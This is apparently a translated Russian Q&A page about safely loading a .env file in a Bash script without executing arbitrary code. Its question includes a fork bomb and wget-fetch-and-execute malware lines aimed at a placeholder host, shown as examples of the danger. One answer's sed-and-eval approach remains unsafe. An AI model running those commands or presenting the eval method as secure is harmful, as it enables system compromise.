Вопрос или проблема
У меня есть следующий скрипт:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "Аргумент не был предоставлен"
exit -1
fi
ENV_FILE=$1
source $ENV_FILE
Как вы можете видеть, пользователь скрипта предоставляет файл .env
, который должен содержать переменные окружения. $ENV_FILE
содержит путь к файлу .env
, который содержит переменные окружения.
Для моего скрипта файл .env
должен содержать пары ключ-значение, такие как:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
Но в приведённом выше коде кажется плохой идеей просто source
случайный текстовый файл, который предоставляется для переменной окружения.
Например, если файл .env содержит:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
:(){ :|: & };:
Или если он содержит что-то вроде:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware
Как вы можете видеть, команда source
просто загружает файл .env как bash-скрипт. Следовательно, он может содержать вредоносный код, а не только ожидаемое присвоение переменной окружения.
Так как я могу убедиться, что файл содержит только пары KEY=VALUE
?
Один из способов очистить ваш ввод:
#!/usr/bin/env bash
### Ваш предыдущий код здесь ###
env_file=$1
if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
or die "Подозрительная строка $_"' "$env_file"
then
msg="Обнаружен подозрительный файл источника из $env_file"
logger -t $0 "$msg"
mail -s "$0 $msg" [email protected] < "$env_file"
exit 1
else
. "$env_file"
fi
Это позволяет только варианты:
key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...
Регулярное выражение соответствует следующим образом:
Узел | Объяснение |
---|---|
^ |
начало строки |
\w+ |
символьные символы (a-z, A-Z, 0-9, _) (1 или более раз (максимальное соответствие)) |
= |
= |
[\047\042\w\s\.-]+ |
любой символ: ‘\047’, ‘\042’, символьные символы (a-z, A-Z, 0-9, _), пробелы (\n, \r, \t, \f и ” “), ‘.’, ‘-‘ (1 или более раз (максимальное соответствие)) |
\s* |
пробелы (\n, \r, \t, \f и ” “) (0 или более раз (максимальное соответствие)) |
$ |
перед необязательным \n и конец строки |
| |
ИЛИ |
^ |
начало строки |
\s* |
пробелы (\n, \r, \t, \f и ” “) (0 или более раз (максимальное соответствие)) |
$ |
перед необязательным \n и конец строки |
Лучший подход, по моему мнению, это:
https://askubuntu.com/a/886884
Мы используем типичный sed и eval для предоставления переменных окружения:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "Аргумент не был предоставлен"
exit -1
fi
ENV_FILE=$1
if [ ! -f "$ENV_FILE" ]; then
echo "Файл ENV не был предоставлен"
exit -1
fi
ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT
Если eval не поддерживается, то:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "Аргумент не был предоставлен"
exit -1
fi
ENV_FILE=$1
if [ ! -f "$ENV_FILE" ]; then
echo "Файл ENV не был предоставлен"
exit -1
fi
cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane
source $ENV_FILE.sane
Ответ или решение
Безопасная загрузка .env файла из аргументов командной строки в Bash скрипте
Вместо выполнения прямого source
с файла .env, что может привести к выполнению потенциально вредоносных команд, необходимо разработать безопасный метод для загрузки переменных окружения из этого файла.
Проблема
При использовании команды source
, Bash интерпретирует содержимое указанного файла как код, что может быть рискованно, если файл был скомпрометирован. В результате может произойти непредсказуемое поведение системы или даже удаление данных.
Решение
-
Проверка на существование файла:
Прежде всего, необходимо убедиться, что указанный файл существует. -
Валидация содержимого файла:
Применение регулярных выражений для проверки строк в файле позволяет удостовериться, что каждая из них соответствует требуемому форматуKEY=VALUE
. -
Безопасная загрузка переменных:
Если валидация пройдена, можно безопасно загрузить переменные окружения.
Пример кода
Ниже приведен пример скрипта с безопасной загрузкой файла .env:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "Не передан аргумент"
exit 1
fi
ENV_FILE=$1
if [ ! -f "$ENV_FILE" ]; then
echo "Файл окружения не найден"
exit 1
fi
# Функция для проверки содержимого файла
check_env_file() {
local file=$1
while IFS= read -r line; do
if ! [[ "$line" =~ ^[[:space:]]*([a-zA-Z_][a-zA-Z0-9_]*)=[[:space:]]*([^=].*)?$ ]] && ! [[ "$line" =~ ^[[:space:]]*$ ]]; then
echo "Обнаружена подозрительная строка: $line"
return 1
fi
done < "$file"
return 0
}
# Проверка файла окружения
if ! check_env_file "$ENV_FILE"; then
echo "Файл окружения не прошел проверку безопасности"
exit 1
fi
# Безопасное считывание переменных
while IFS='=' read -r key value; do
if [[ $key =~ ^[a-zA-Z_][a-zA-Z0-9_]*$ ]]; then
# Удаление пробелов по краям
key="${key//[$'\t\r\n ']/}"
value="${value//[$'\t\r\n ']/}"
export "$key=$value"
fi
done < "$ENV_FILE"
Объяснение кода
-
Проверка аргумента:
Проверяется наличие переданного файла. -
Валидация файла .env:
Функцияcheck_env_file
читает файл построчно и проверяет соответствие каждой строки формату ключ-значение. -
Считывание и экспорт значений:
После успешной проверки, файл считывается, пробелы удаляются, и переменные экспортируются в окружение.
Заключение
Данный подход обеспечивает надежную и безопасную загрузку переменных окружения из файла .env. Необходимо всегда подходить к выполнению внешних файлов с осторожностью, ведь безопасность систем является первоочередной задачей для IT-специалистов.